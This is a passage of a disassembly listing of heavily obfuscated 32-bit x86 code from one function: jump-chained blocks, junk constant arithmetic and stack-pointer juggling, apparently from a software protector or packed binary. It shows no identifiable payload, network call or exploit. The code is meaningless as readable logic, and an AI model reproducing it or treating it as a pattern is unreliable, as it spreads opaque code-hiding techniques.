		add	esp, 4
		jmp	loc_5B2B18
; ---------------------------------------------------------------------------


loc_5AE1C5:				; CODE XREF: sub_58A891+1B644j
		push	edi
		jmp	loc_5A4F65
; ---------------------------------------------------------------------------


loc_5AE1CB:				; CODE XREF: sub_58A891+176C4j
		mov	[esp+0Ah+var_C+2], ecx
		push	255B2337h
		jmp	loc_5A8395
; ---------------------------------------------------------------------------


loc_5AE1D8:				; CODE XREF: sub_58A891+21BFFj
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp-12h+arg_8+2]
		pop	esp
		push	ebp
		push	eax
		mov	eax, 5A5E1FB1h
		add	eax, 54933EE1h
		jnz	loc_5B0D59
		xor	eax, 37A9378Eh
		jmp	loc_5AF1ED
; ---------------------------------------------------------------------------


loc_5AE201:				; CODE XREF: sub_58A891+11F94j
		neg	ecx
		jmp	loc_59F336
; ---------------------------------------------------------------------------


loc_5AE208:				; CODE XREF: sub_58A891+1AE2Cj
		mov	ch, 62h
		add	bh, ch
		pop	ecx
		pop	ecx
		jmp	loc_5B1D33
; ---------------------------------------------------------------------------


loc_5AE213:				; CODE XREF: sub_58A891+2481Cj
		xchg	eax, [esp+6+var_8+2]
		pop	esp
		sub	esp, 4
		mov	[esp+6+var_8+2], eax
		jmp	loc_5A3F92
; ---------------------------------------------------------------------------


loc_5AE222:				; CODE XREF: sub_58A891+12C44j
					; sub_58A891+139EEj
		add	bl, 0CEh
		add	bl, 5Ah
		sub	bl, al
		push	5813h
		mov	[esp+6+var_8+2], eax
		mov	ah, 78h
		xor	ah, 22h
		sub	bl, ah
		pop	eax
		push	small 7DAFh
		mov	word ptr [esp+4+var_4],	dx
		push	ecx
		mov	cl, 2
		mov	dl, 0E2h
		xor	dl, cl
		pop	ecx
		xor	dl, 2Eh
		jmp	loc_5AD400
; ---------------------------------------------------------------------------


loc_5AE252:				; CODE XREF: sub_58A891+1B4A1j
		pop	[esp+12h+var_14+2]
		add	[esp+0Eh+var_10+2], 4
		jmp	loc_5A10F4
; ---------------------------------------------------------------------------


loc_5AE261:				; CODE XREF: sub_58A891+231C1j
		pop	edi
		pop	ebp
		push	ecx
		mov	ecx, esp
		jmp	loc_59F617
; ---------------------------------------------------------------------------


loc_5AE26B:				; CODE XREF: sub_58A891+12043j
		mov	edx, 4E48641Eh
		jmp	loc_5AD24B
; ---------------------------------------------------------------------------


loc_5AE275:				; CODE XREF: sub_58A891+256B0j
		pop	ebx
		jmp	loc_5AFE37
; ---------------------------------------------------------------------------


loc_5AE27B:				; CODE XREF: sub_58A891+25BE8j
		add	esp, 4
		jmp	loc_59E4D0
; ---------------------------------------------------------------------------


loc_5AE283:				; CODE XREF: sub_58A891+21BAEj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_5A9C0C
; ---------------------------------------------------------------------------


loc_5AE294:				; CODE XREF: sub_58A891+179F5j
		push	ecx
		push	edi
		jmp	loc_5B09F2
; ---------------------------------------------------------------------------


loc_5AE29B:				; CODE XREF: sub_58A891+1984Bj
		mov	esi, 19901B1Eh
		push	2A3Ch
		mov	[esp+0B2h+var_B2], ecx
		mov	ecx, 1
		sub	esi, ecx
		pop	ecx
		and	esi, 22F6208Bh
		shr	esi, 6
		jz	loc_5B04DA
		shr	esi, 1
		jmp	loc_5B262D
; ---------------------------------------------------------------------------


loc_5AE2C6:				; CODE XREF: sub_58A891+27DDFj
		pop	ecx
		add	dh, 2Ah
		add	dh, ah
		sub	dh, 2Ah
		pop	eax
		dec	dh
		xor	dh, 29h
		sub	al, dh
		pop	edx
		jmp	loc_59CF28
; ---------------------------------------------------------------------------


loc_5AE2DD:				; CODE XREF: sub_58A891+1282Aj
		not	ebx
		not	ebx
		shl	ebx, 6
		jp	loc_5A0F09
		push	eax
		push	ebx
		push	5B2621DFh
		pop	ebx
		mov	esi, ebp
		mov	edx, eax


loc_5AE2F6:				; CODE XREF: sub_58A891+14713j
		add	eax, 433D09CFh
		add	eax, esi
		push	ebp
		mov	ebp, 20C14BBEh
		jmp	loc_5ADA0D
; ---------------------------------------------------------------------------


loc_5AE308:				; CODE XREF: sub_58A891+2191Bj
		pop	esi
		neg	edx
		neg	edx
		dec	edx
		jmp	loc_5B0F08
; ---------------------------------------------------------------------------


loc_5AE313:				; CODE XREF: sub_58A891+19869j
		jno	loc_5AB33A
		inc	ebp
		jmp	loc_5A7B19
; ---------------------------------------------------------------------------
		add	esp, 4
		pop	ecx
		neg	word ptr [esp-16h+arg_E]
		pushf
		jmp	loc_5AD1B8
; ---------------------------------------------------------------------------


loc_5AE330:				; CODE XREF: sub_58A891+23755j
		mov	[esp+7Ah+var_7A], ecx
		jmp	loc_59E226
; ---------------------------------------------------------------------------


loc_5AE338:				; CODE XREF: sub_58A891+1A2A7j
		mov	ecx, [esp+66h+var_68+2]
		jmp	loc_5A294D
; ---------------------------------------------------------------------------


loc_5AE340:				; CODE XREF: sub_58A891+24B51j
		add	esp, 4
		push	7D06h
		mov	[esp+66h+var_68+2], edx
		mov	edx, 67EB3CADh
		mov	dword ptr [ecx], 21C44477h
		jmp	loc_5B28FF
; ---------------------------------------------------------------------------


loc_5AE35B:				; CODE XREF: sub_58A891+22CBAj
		mov	edx, [esp+0]
		jmp	loc_5ADF63
; ---------------------------------------------------------------------------


loc_5AE363:				; CODE XREF: sub_58A891+1EA3Fj
					; sub_58A891+1FFC8j
		push	10C0h
		mov	[esp+5Eh+var_60+2], eax
		sub	esp, 4
		mov	[esp+62h+var_64+2], edx
		mov	edx, 4
		jmp	loc_5A60EA
; ---------------------------------------------------------------------------


loc_5AE37E:				; CODE XREF: sub_58A891+254EFj
		add	ecx, 0B20693Bh
		mov	ebx, ecx
		pop	ecx
		not	ebx
		add	ebx, 0CE0CAF3Bh
		add	edi, 333F5064h
		add	edi, ebx
		sub	edi, 333F5064h
		pop	ebx
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+5Ah+var_5C+2]
		jmp	loc_59E28A
; ---------------------------------------------------------------------------


loc_5AE3B3:				; CODE XREF: sub_58A891+1DC71j
		mov	ah, 5Bh
		xor	ah, 1Eh
		dec	ah
		xor	ah, 4Eh
		sub	ch, ah
		pop	eax
		push	small 0C4Ah
		mov	[esp+0], ax
		mov	al, 6
		or	ch, al
		jmp	loc_5AF1F9
; ---------------------------------------------------------------------------


loc_5AE3D1:				; CODE XREF: sub_58A891+21FBCj
		add	eax, ecx
		mov	ecx, [esp+0]
		jmp	loc_5A257B
; ---------------------------------------------------------------------------


loc_5AE3DB:				; CODE XREF: sub_58A891+1F2A2j
		xor	edx, [esp+0D6h+var_D8+2]
		xor	[esp+0D6h+var_D8+2], edx
		jmp	loc_59D7B5
; ---------------------------------------------------------------------------


loc_5AE3E6:				; CODE XREF: sub_58A891+163DBj
		pop	edx
		add	eax, ebx
		pop	ebx
		pop	esi
		xor	eax, [esp+16h+var_18+2]
		xor	[esp+16h+var_18+2], eax
		xor	eax, [esp+16h+var_18+2]
		jmp	loc_5B123A
; ---------------------------------------------------------------------------


loc_5AE3F9:				; CODE XREF: sub_58A891+1C84Dj
		jns	loc_5AAD05
		jmp	loc_5A74EB
; ---------------------------------------------------------------------------
		add	esp, 4
		push	ebx
		mov	al, cl


loc_5AE40D:				; CODE XREF: sub_58A891+1EA92j
		mov	esp, [esp+8Eh+var_8E]
		jmp	loc_5A7EDC
; ---------------------------------------------------------------------------


loc_5AE415:				; CODE XREF: sub_58A891+1D8DCj
		xor	esi, ebx
		pop	ebx
		jmp	loc_5A9999
; ---------------------------------------------------------------------------


loc_5AE41D:				; CODE XREF: sub_58A891+1360Aj
		xor	eax, esi
		pop	esi
		push	edx
		mov	edx, 758E1149h
		and	eax, edx
		pop	edx
		push	ebx
		jmp	loc_5A00D4
; ---------------------------------------------------------------------------


loc_5AE42F:				; CODE XREF: sub_58A891+26AC1j
		xor	edi, ebx
		pop	ebx
		and	eax, edi
		jmp	loc_5AD4F4
; ---------------------------------------------------------------------------


loc_5AE439:				; CODE XREF: sub_58A891+13396j
					; sub_58A891+23297j
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 15FB59CBh
		sub	eax, 0FFFFFFFFh
		inc	eax
		push	esi
		mov	esi, 22F55BAFh
		push	ebx
		mov	ebx, 7A6C7B45h
		sub	esi, 703F19E0h
		sub	esi, ebx
		jmp	loc_5A8E0E
; ---------------------------------------------------------------------------


loc_5AE461:				; CODE XREF: sub_58A891+26BEFj
		sub	ebx, ebp
		push	[esp+0Eh+var_10+2]
		pop	ebp
		add	esp, 4
		push	ebx
		pop	dword ptr [edi+20h]
		jmp	loc_5A83DA
; ---------------------------------------------------------------------------


loc_5AE473:				; CODE XREF: sub_58A891+17424j
		mov	word ptr [esp+40h+var_40], dx
		mov	dl, 15h
		xor	bl, dl
		mov	dx, word ptr [esp+40h+var_40]
		add	esp, 2
		jmp	loc_5A2D44
; ---------------------------------------------------------------------------


loc_5AE487:				; CODE XREF: sub_58A891+20324j
		add	[esp+4], esi
		pop	esi
		pop	ebx
		push	7350h
		mov	[esp+0], ecx
		jmp	loc_59F70D
; ---------------------------------------------------------------------------


loc_5AE49A:				; CODE XREF: sub_58A891+1C0A4j
		push	1DE9h
		mov	[esp+1Ah+var_1C+2], edi
		push	ebx
		push	52809CDh
		pop	ebx
		shl	ebx, 3
		jnz	loc_5A4935
		jmp	loc_5A34EF
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+1Eh+var_20+2]
		push	edi
		mov	ch, 41h


loc_5AE4BF:				; CODE XREF: sub_58A891+14D04j
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		mov	ebp, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5AF0D5
; ---------------------------------------------------------------------------


loc_5AE4D7:				; CODE XREF: sub_58A891+15B1Bj
		add	ebp, 0ED3B2EC4h
		mov	esi, ebp
		pop	ebp
		inc	esi
		jle	loc_5A9773
		or	esi, 5939623Ch
		shl	esi, 4
		shr	esi, 3
		inc	esi
		jnz	loc_59EF9E
		sub	esi, 1E76EE79h
		mov	dl, ch
		mov	ch, cl


loc_5AE504:				; CODE XREF: sub_58A891+17AE3j
		xchg	edx, [esp+0A2h+var_A2]
		mov	esp, [esp+0A2h+var_A2]
		sub	[edi+24h], ecx
		jmp	loc_59F161
; ---------------------------------------------------------------------------


loc_5AE512:				; CODE XREF: sub_58A891+1F6A2j
		mov	eax, 691A0B56h
		shl	eax, 1
		inc	eax
		not	eax
		jmp	loc_5AC0A3
; ---------------------------------------------------------------------------


loc_5AE521:				; CODE XREF: sub_58A891+17CCFj
		add	al, 88h
		sub	esp, 4
		jmp	loc_5A2863
; ---------------------------------------------------------------------------


loc_5AE52B:				; CODE XREF: sub_58A891+1FC59j
		xor	[esp+38h+var_38], esi
		jmp	loc_5AEC99
; ---------------------------------------------------------------------------


loc_5AE533:				; CODE XREF: sub_58A891+23785j
		or	ah, ch
		mov	ecx, [esp+84h+var_86+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+88h+var_8A+2]
		pop	esp
		jmp	loc_5AA5EA
; ---------------------------------------------------------------------------


loc_5AE550:				; CODE XREF: sub_58A891+1D2DDj
		xor	edx, 84F9FC96h
		mov	edi, edx
		pop	edx
		add	edi, 60665DF9h
		sub	edi, eax
		sub	edi, 60665DF9h
		pop	eax
		neg	edi
		jmp	loc_5B1346
; ---------------------------------------------------------------------------


loc_5AE56F:				; CODE XREF: sub_58A891+1C626j
		jmp	loc_5A714A
; ---------------------------------------------------------------------------


loc_5AE574:				; CODE XREF: sub_58A891+183EBj
		pop	edx
		add	esp, 4
		push	esi
		jmp	loc_5A0C49
; ---------------------------------------------------------------------------


loc_5AE581:				; CODE XREF: sub_58A891+1F8A7j
		add	eax, 4B75189Bh
		mov	ebp, [esp+1Eh+var_20+2]
		add	esp, 4
		push	eax
		mov	ebp, [esp+1Eh+var_20+2]
		add	esp, 4
		mov	eax, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_5A03E5
; ---------------------------------------------------------------------------
		push	esi
		push	esp
		jmp	loc_5B128D
; ---------------------------------------------------------------------------


loc_5AE5AE:				; CODE XREF: sub_58A891+19CB4j
					; sub_58A891:loc_5B2E92j
		mov	edx, 4
		sub	ebx, 43191EC1h
		add	ebx, edx
		push	edx
		push	7785h
		mov	[esp+20h+var_20], ebx
		mov	ebx, 2CBD7128h
		not	ebx
		jmp	loc_5A62D8
; ---------------------------------------------------------------------------


loc_5AE5D0:				; CODE XREF: sub_58A891:loc_5A3DDFj
		push	eax
		jmp	loc_5A39AA
; ---------------------------------------------------------------------------


loc_5AE5D6:				; CODE XREF: sub_58A891+1D4E5j
		sub	edi, 18097730h
		add	edi, 0B309CD10h
		push	edi
		jmp	loc_5A18CD
; ---------------------------------------------------------------------------


loc_5AE5E8:				; CODE XREF: sub_58A891+1F73Bj
		push	[esp+1Eh+var_1C+2]
		pop	edi
		pop	[esp+1Eh+var_20+2]
		jmp	loc_5ADBB7
; ---------------------------------------------------------------------------


loc_5AE5F5:				; CODE XREF: sub_58A891+1170Dj
		add	eax, 1
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], edx
		mov	edx, 30CD7F54h
		shl	edx, 7
		jz	loc_5B0952
		inc	edx
		jns	loc_5A3C09
		shl	edx, 6
		jnp	loc_5A7D7B
		jmp	loc_5AF647
; ---------------------------------------------------------------------------


loc_5AE624:				; CODE XREF: sub_58A891+241A3j
		add	edx, eax
		mov	eax, [esp+1Ah+var_1C+2]
		push	6B00h
		mov	[esp+1Eh+var_20+2], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edx
		mov	edx, 4
		sub	ecx, 14581BBBh
		add	ecx, edx
		add	ecx, 14581BBBh
		jmp	loc_5A8DED
; ---------------------------------------------------------------------------


loc_5AE652:				; CODE XREF: sub_58A891+258D0j
		mov	eax, 675CFE90h
		add	ecx, 2627792Eh
		add	ecx, eax
		sub	ecx, 2627792Eh
		jmp	loc_59E21E
; ---------------------------------------------------------------------------


loc_5AE66A:				; CODE XREF: sub_58A891+12A0Dj
		mov	edx, 59423997h
		or	ebx, edx
		jmp	loc_5A78C7
; ---------------------------------------------------------------------------


loc_5AE676:				; CODE XREF: sub_58A891+22B00j
		sub	edx, esi
		push	[esp+26h+var_28+2]
		pop	esi
		add	esp, 4
		xchg	edx, [esp+22h+var_24+2]
		mov	esp, [esp+22h+var_24+2]
		mov	[esp+22h+var_24+2], ecx
		jmp	loc_5A72AE
; ---------------------------------------------------------------------------
		push	[esp+22h+var_24+2]
		jmp	loc_5A6F8E
; ---------------------------------------------------------------------------


loc_5AE695:				; CODE XREF: sub_58A891+27018j
		xor	edi, [esp+26h+var_28+2]
		jmp	loc_59DB29
; ---------------------------------------------------------------------------


loc_5AE69D:				; CODE XREF: sub_58A891+146B9j
		or	edi, 68793934h
		and	edi, 2C5A086Ah
		add	edi, 7848708Eh
		dec	edi
		or	edi, 7C4571A1h
		sub	edi, 0C47D33E5h
		sub	ebx, edi
		pop	edi
		add	ebx, edx
		add	ebx, 386845D0h
		jmp	loc_5A61E1
; ---------------------------------------------------------------------------
		push	[esp+7Eh+var_7E]
		push	[esp+82h+var_82]
		push	[esp+86h+var_86]
		jmp	loc_59D3E8
; ---------------------------------------------------------------------------


loc_5AE6DA:				; CODE XREF: sub_58A891+20659j
		xchg	esi, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		ror	word ptr [esp+0Ah+var_C+2], cl
		pushf
		jmp	loc_5AC16C
; ---------------------------------------------------------------------------


loc_5AE6EA:				; CODE XREF: sub_58A891+25BA7j
		pop	ebx
		sub	al, dh
		pop	edx
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		jmp	loc_5A1EBB
; ---------------------------------------------------------------------------


loc_5AE6FC:				; CODE XREF: sub_58A891+1365Cj
		pop	esp
		pop	[esp-0Ah+arg_0+2]
		mov	esp, [esp-0Eh+arg_4+2]
		sub	esp, 4
		mov	[esp-0Ah+arg_0+2], esi
		sub	esp, 4
		mov	[esp+0], ebx
		mov	ebx, 3E1B5FC2h
		shr	ebx, 6
		push	eax
		push	156Ch
		mov	[esp+2+var_4+2], edi
		jmp	loc_5A6092
; ---------------------------------------------------------------------------


loc_5AE728:				; CODE XREF: sub_58A891+27386j
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		not	ebp
		xchg	eax, ebp
		jmp	loc_59E70E
; ---------------------------------------------------------------------------


loc_5AE736:				; CODE XREF: sub_58A891+137AAj
		sub	ecx, 44E5526Bh
		xor	ecx, 2B3FFA15h
		jmp	loc_5A1286
; ---------------------------------------------------------------------------


loc_5AE747:				; CODE XREF: sub_58A891+16AAAj
		mov	esi, esp
		add	esi, 4
		jmp	loc_5B0124
; ---------------------------------------------------------------------------


loc_5AE754:				; CODE XREF: sub_58A891+1B9FCj
		push	ebp
		mov	ebp, 51A46859h
		shl	ebp, 8
		and	ebp, 401F01D1h
		xor	ebp, 1CCD72AAh
		dec	ebp
		jmp	loc_5A5E84
; ---------------------------------------------------------------------------


loc_5AE76F:				; CODE XREF: sub_58A891+1A23Ej
		push	[esp+48h+var_4A+2]
		mov	ecx, [esp+4Ch+var_4E+2]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp+48h+var_4A+2], edx
		jmp	loc_59EEA5
; ---------------------------------------------------------------------------


loc_5AE78C:				; CODE XREF: sub_58A891+180F5j
		push	2
		push	[esp+0B6h+var_B6]
		pop	ebp
		add	esp, 4
		push	edx
		push	ebp
		push	2A941D01h
		push	[esp+0BEh+var_BE]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A83F8
; ---------------------------------------------------------------------------


loc_5AE7B1:				; CODE XREF: sub_58A891+1C464j
		dec	eax
		jo	loc_5A41E1
		xor	eax, 1214F217h
		mov	edi, eax
		mov	eax, [esp+7Eh+var_7E]
		add	esp, 4
		sub	esi, edi
		mov	edi, [esp+7Ah+var_7A]
		push	7A7Fh
		mov	[esp+7Eh+var_7E], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+7Eh+var_7E]
		pop	esp
		push	esi
		xor	[esp+7Eh+var_7E], 4E8D4755h
		pop	edx
		jmp	loc_5A458A
; ---------------------------------------------------------------------------


loc_5AE7F2:				; CODE XREF: sub_58A891+1202Cj
		mov	eax, esp
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		pop	dword ptr [edi+24h]


loc_5AE809:				; CODE XREF: sub_58A891+11EEAj
		push	5AD1h
		mov	[esp+72h+var_74+2], ebx
		push	ebx
		mov	ebx, 78EA73CDh
		xor	[esp+76h+var_74+2], ebx
		pop	ebx
		push	[esp+72h+var_74+2]
		mov	eax, [esp+0]
		sub	esp, 4
		jmp	loc_5B0C5C
; ---------------------------------------------------------------------------


loc_5AE82A:				; CODE XREF: sub_58A891+25263j
		push	ebx
		jmp	loc_5AC94E
; ---------------------------------------------------------------------------


loc_5AE830:				; CODE XREF: sub_58A891+23586j
		push	[esp-1Eh+arg_18+2]
		pop	ecx
		add	esp, 4
		sub	al, bl
		jmp	loc_5A005F
; ---------------------------------------------------------------------------


loc_5AE841:				; CODE XREF: sub_58A891+23136j
		pop	bx
		add	al, 0Eh
		jmp	loc_5A1DDA
; ---------------------------------------------------------------------------


loc_5AE84A:				; CODE XREF: sub_58A891+2165Bj
		pop	ebp
		pop	dword ptr [esp+0]
		mov	esp, [esp+72h+var_74+2]
		or	word ptr [esp+72h+var_74+2], ax
		pushf
		jmp	loc_5A5717
; ---------------------------------------------------------------------------


loc_5AE85B:				; CODE XREF: sub_58A891+11889j
		sub	eax, 0F9DAB93Dh
		jmp	loc_5A5E2F
; ---------------------------------------------------------------------------


loc_5AE865:				; CODE XREF: sub_58A891+1D24Ej
		push	edx
		mov	dh, 2Eh
		neg	dh
		not	dh
		shr	dh, 3
		shl	dh, 2
		sub	dh, 13h
		sub	bl, dh
		pop	edx
		add	bl, 0DDh
		jmp	loc_5A3374
; ---------------------------------------------------------------------------


loc_5AE880:				; CODE XREF: sub_58A891+2273Bj
		push	eax
		jmp	loc_59C21E
; ---------------------------------------------------------------------------


loc_5AE886:				; CODE XREF: sub_58A891+1C5E5j
		neg	ebp
		jnb	loc_5AC03E
		and	ebp, 55A63AC5h
		jo	loc_5A8B38
		dec	ebp
		jmp	loc_59C2E2
; ---------------------------------------------------------------------------


loc_5AE8A0:				; CODE XREF: sub_58A891+1FFB7j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	[esp+0AAh+var_A6]
		pop	ebx
		pop	[esp+0AAh+var_AA]
		pop	esp
		mov	[esp+0A2h+var_A2], ebx
		mov	ebx, 4
		push	ebx
		mov	ebx, 13E666A6h
		inc	ebx
		and	ebx, 16A76F71h
		sub	ebx, 0DC5933CEh
		sub	esi, ebx
		mov	ebx, [esp+0A6h+var_A6]
		add	esp, 4
		add	esi, ebx
		add	esi, 364D3253h
		push	[esp+0A2h+var_A2]
		pop	ebx
		add	esp, 4
		push	eax
		mov	eax, 0F255FEAh
		add	eax, 0FFFFFFFFh
		shr	eax, 5
		sub	eax, 1
		sub	eax, 0FFFFFFFFh
		push	edx
		mov	edx, 0FF86D503h
		add	eax, edx
		pop	edx
		add	esi, eax
		jmp	loc_59D56C
; ---------------------------------------------------------------------------


loc_5AE911:				; CODE XREF: sub_58A891+16C65j
		or	edx, eax
		shl	edx, 1
		jmp	loc_5ABAA1
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AE922:				; CODE XREF: sub_58A891+15AC8j
		add	ecx, 22EE7D13h
		jmp	loc_5B1C38
; ---------------------------------------------------------------------------


loc_5AE92D:				; CODE XREF: sub_58A891+17D2Aj
		xor	ebx, 0A41B6102h
		mov	ebp, ebx
		pop	ebx
		sub	[esp+68h+var_64], ebp
		jmp	loc_5AFB2D
; ---------------------------------------------------------------------------


loc_5AE93F:				; CODE XREF: sub_58A891+11D19j
					; sub_58A891+1AB56j
		mov	bl, 0C4h
		mov	dh, 0C5h
		sub	dh, bl
		pop	ebx
		sub	dh, ch
		jmp	loc_5A8A00
; ---------------------------------------------------------------------------


loc_5AE94D:				; CODE XREF: sub_58A891+25432j
		or	edi, 5C607F5Ah
		dec	edi
		shr	edi, 2
		xor	edi, 0CFF1C57Ch
		sub	ebx, 7DBA1B29h
		jmp	loc_5B1B3E
; ---------------------------------------------------------------------------


loc_5AE968:				; CODE XREF: sub_58A891+1E1D4j
		xor	edx, 27CF05CDh
		xor	edx, 24816A31h
		xor	edx, 29066BA4h
		xor	esi, edx
		pop	edx
		jmp	loc_5A8593
; ---------------------------------------------------------------------------


loc_5AE982:				; CODE XREF: sub_58A891+18D06j
		push	4457h
		mov	[esp+32h+var_34+2], edi
		mov	edi, 5EC06FAAh
		push	ebp
		mov	ebp, edi
		jmp	loc_5A83A3
; ---------------------------------------------------------------------------


loc_5AE997:				; CODE XREF: sub_58A891+277DBj
		add	ebx, esi
		sub	ebx, 598725Eh
		pop	esi
		push	ebp
		push	4
		mov	ebp, [esp+3Ah+var_3C+2]
		jmp	loc_5A3FEC
; ---------------------------------------------------------------------------


loc_5AE9AE:				; CODE XREF: sub_58A891+14800j
		mov	edx, 4
		jmp	loc_5B1703
; ---------------------------------------------------------------------------


loc_5AE9B8:				; CODE XREF: sub_58A891:loc_5A1B09j
					; sub_58A891+202E7j
		mov	edx, [esp+72h+var_74+2]
		add	esp, 4
		push	7970h
		jmp	loc_5A4AED
; ---------------------------------------------------------------------------


loc_5AE9C8:				; CODE XREF: sub_58A891+27930j
		or	ch, al
		mov	eax, [esp+72h+var_74+2]
		add	esp, 4
		not	ch
		jmp	loc_5AAA3B
; ---------------------------------------------------------------------------


loc_5AE9D7:				; CODE XREF: sub_58A891:loc_5B262Dj
		jmp	loc_5A26BA
; ---------------------------------------------------------------------------


loc_5AE9DC:				; CODE XREF: sub_58A891+204AEj
		pop	ecx
		add	al, 53h
		sub	al, dh
		sub	al, 53h
		push	[esp-16h+arg_E]
		jmp	loc_5AD37F
; ---------------------------------------------------------------------------


loc_5AE9EB:				; CODE XREF: sub_58A891+26FD5j
		add	esi, ecx
		sub	esi, 487335A0h
		jmp	loc_5B1D98
; ---------------------------------------------------------------------------


loc_5AE9F8:				; CODE XREF: sub_58A891+1B2AEj
		push	2D85h
		mov	[esp+72h+var_74+2], esp
		add	[esp+72h+var_74+2], 4
		mov	ecx, [esp+72h+var_74+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 1E610AE6h
		jmp	loc_5AAE26
; ---------------------------------------------------------------------------


loc_5AEA1B:				; CODE XREF: sub_58A891+1A49Aj
		mov	esp, [esp-12h+arg_8+2]
		push	165Dh
		mov	[esp-0Eh+arg_4+2], eax
		jmp	loc_5A2B80
; ---------------------------------------------------------------------------


loc_5AEA2B:				; CODE XREF: sub_58A891+25A0Bj
		mov	[esp-0Eh+arg_4+2], eax
		push	2
		pop	eax
		jmp	loc_5AE624
; ---------------------------------------------------------------------------


loc_5AEA39:				; CODE XREF: sub_58A891+272A8j
		pop	esi
		mov	ebx, 0EC39BD6h
		sub	ebx, 62823011h
		add	ebx, ecx
		add	ebx, 62823011h
		jmp	loc_5A22F3
; ---------------------------------------------------------------------------


loc_5AEA52:				; CODE XREF: sub_58A891+131AAj
		neg	ecx
		jmp	loc_5A150C
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AEA61:				; CODE XREF: sub_58A891+1C7A6j
		shr	edi, 8
		add	edi, 0FF8022C5h
		add	ebx, 13068ADh
		sub	ebx, edi
		sub	ebx, 13068ADh
		pop	edi
		jmp	loc_5AFC6D
; ---------------------------------------------------------------------------


loc_5AEA7E:				; CODE XREF: sub_58A891+199F0j
		add	esp, 4
		jmp	loc_59F4F3
; ---------------------------------------------------------------------------


loc_5AEA86:				; CODE XREF: sub_58A891+12738j
		mov	ax, word ptr [esp+7Eh+var_7E]
		jmp	loc_59D098
; ---------------------------------------------------------------------------


loc_5AEA8F:				; CODE XREF: sub_58A891+203A1j
		push	0
		sub	[esp-0Ah+arg_0+2], edi
		mov	edi, [esp-0Ah+arg_0+2]
		jmp	loc_5A2672
; ---------------------------------------------------------------------------


loc_5AEA9F:				; CODE XREF: sub_58A891+21300j
		push	edx
		push	ebx
		mov	ebx, 1DFE0E19h
		sub	esp, 4
		mov	[esp+22h+var_24+2], ecx
		jmp	loc_59D006
; ---------------------------------------------------------------------------


loc_5AEAB4:				; CODE XREF: sub_58A891+1ED7Bj
					; sub_58A891+284B0j
		push	65D3h
		mov	[esp+4Ch+var_4E+2], eax
		jmp	loc_5B049B
; ---------------------------------------------------------------------------


loc_5AEAC1:				; CODE XREF: sub_58A891+157B0j
		add	ebp, 4
		push	edx
		mov	edx, 2
		add	ebp, 4BA40C0Fh
		add	ebp, edx
		sub	ebp, 4BA40C0Fh
		pop	edx
		jmp	loc_5AC6FD
; ---------------------------------------------------------------------------


loc_5AEAE1:				; CODE XREF: sub_58A891+193A7j
		push	esi
		push	6E49235Dh
		pop	esi
		push	edx
		mov	edx, 548B52B4h
		jmp	loc_5B11FC
; ---------------------------------------------------------------------------


loc_5AEAF3:				; CODE XREF: sub_58A891+12D6Fj
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp+6+var_8+2]
		pop	esp
		jmp	loc_5A9901
; ---------------------------------------------------------------------------


loc_5AEB08:				; CODE XREF: sub_58A891+21C87j
		xor	edi, 4389CAE6h
		mov	eax, edi
		pop	edi
		or	esi, eax
		pop	eax
		sub	esp, 4
		jmp	loc_5A3234
; ---------------------------------------------------------------------------


loc_5AEB1F:				; CODE XREF: sub_58A891+18EEFj
		sub	esp, 4
		mov	[esp+16h+var_18+2], eax
		push	0DF4h
		mov	[esp+1Ah+var_1C+2], edx
		push	eax
		mov	eax, 4453E06h
		mov	edx, 0FBBAC1FBh
		jmp	loc_5ACAB7
; ---------------------------------------------------------------------------


loc_5AEB3D:				; CODE XREF: sub_58A891+1EA37j
		inc	cl
		jns	loc_5B0DDC
		push	7061h
		mov	[esp+5Eh+var_60+2], eax
		jmp	loc_5A060E
; ---------------------------------------------------------------------------


loc_5AEB52:				; CODE XREF: sub_58A891+1D573j
		neg	ecx
		sub	ecx, 1
		or	ecx, 19DA53E2h
		add	ecx, 6A0D56F5h
		neg	ecx
		add	ecx, 22FBB7CDh
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, esi
		pop	ebp
		push	edx
		mov	edx, 70B22DD3h
		jmp	$+5
		add	edx, 2B7041A0h
		shl	edx, 3
		sub	edx, 3EFD5B31h
		jmp	loc_5B1B20
; ---------------------------------------------------------------------------


loc_5AEB93:				; CODE XREF: sub_58A891+22939j
		jg	loc_5ACF93
		dec	edi
		jmp	loc_59C712
; ---------------------------------------------------------------------------
		and	ebp, 76490BC4h
		mov	cl, 70h


loc_5AEBA7:				; CODE XREF: sub_58A891+1E613j
		pop	esi
		add	eax, ebp
		mov	ebp, [esp-0Ah+arg_0+2]
		add	esp, 4
		neg	eax
		add	eax, 673410DBh
		push	eax
		xor	[esp-0Ah+arg_0+2], 5E920800h
		pop	edx
		push	esi
		mov	esi, 3C480438h
		dec	esi
		or	esi, 565E445Ch
		jmp	loc_5ACB2F
; ---------------------------------------------------------------------------


loc_5AEBD5:				; CODE XREF: sub_58A891+1ECA0j
